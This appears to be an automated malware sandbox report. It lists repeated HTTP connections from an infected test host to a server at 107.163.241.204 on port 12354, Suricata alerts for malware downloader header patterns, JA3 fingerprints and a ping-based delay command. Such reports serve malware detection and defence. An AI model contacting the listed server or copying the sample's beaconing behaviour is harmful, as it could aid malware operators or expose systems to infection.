Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50361 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50449 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50485 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50553 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50635 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50643 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50659 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50683 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50705 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50722 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50757 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50761 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50779 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50843 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50857 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50867 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50870 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50874 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50895 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50916 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50939 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50957 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50965 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50997 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51047 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51123 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51129 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51183 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51219 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51237 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51261 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51305 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51312 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51470 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51479 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51489 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51547 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51561 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51693 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51700 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51708 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51717 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51733 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51795 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51985 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52269 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52409 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52442 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52555 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54530 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54587 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55225 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55426 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55516 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55674 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55946 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56115 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57740 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58233 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58350 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58976 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59096 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59151 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59321 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59487 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59607 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59911 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61026 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61161 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61428 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61507 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61606 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61884 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61997 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62141 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62400 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63144 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64443 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64785 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64821 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49509 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49541 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50821 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51661 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51995 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52265 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52891 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52917 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53003 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53318 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53515 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54762 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54764 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54902 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55318 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55506 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55795 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55847 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56236 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57119 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57557 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58338 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58355 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58403 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58454 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58458 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58627 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60093 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61955 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64100 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64219 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49502 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51515 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51520 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53124 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54970 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55119 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56410 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56516 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58220 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58374 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60101 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61760 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61933 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63631 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63685 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49419 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51005 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53676 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53713 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55146 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57031 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58637 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58760 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60290 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61978 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61998 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63310 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63579 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64710 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64986 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52177 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53501 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55158 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55317 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56820 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56926 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59030 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59127 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60744 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62663 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63969 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64091 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49596 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53400 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53467 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55046 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55162 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56809 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56948 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57838 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59221 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59300 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61033 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61040 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62645 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62886 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64289 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64346 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49663 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51271 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51355 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53259 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53335 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55327 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55407 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58015 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58788 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58926 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61026 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61174 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62555 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62721 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64700 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64703 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64758 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64930 -> 12354

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: global traffic

TCP traffic: 192.168.2.8:49730 -> 107.163.241.204:12354

Source: Joe Sandbox View	IP Address: 202.108.0.52 202.108.0.52
Source: Joe Sandbox View	IP Address: 202.108.0.52 202.108.0.52

Source: Joe Sandbox View

ASN Name: TAKE2US TAKE2US

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49891 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49841 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49874 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49730 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49910 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49855 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49821 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49961 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49924 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49947 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49754 -> 202.108.0.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49888 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49768 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49839 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49819 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49731 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49787 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49770 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49857 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49963 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49912 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49926 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49750 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49806 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49803 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49876 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49945 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49987 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50106 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50166 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50025 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50163 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50124 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50294 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50148 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50235 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50558 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50108 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50121 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50323 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50263 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49784 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50197 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50563 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50705 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50195 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50043 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50291 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50067 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50212 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50146 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50002 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50266 -> 107.163.241.204:12354
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50398 -> 107.163.241.204:12354
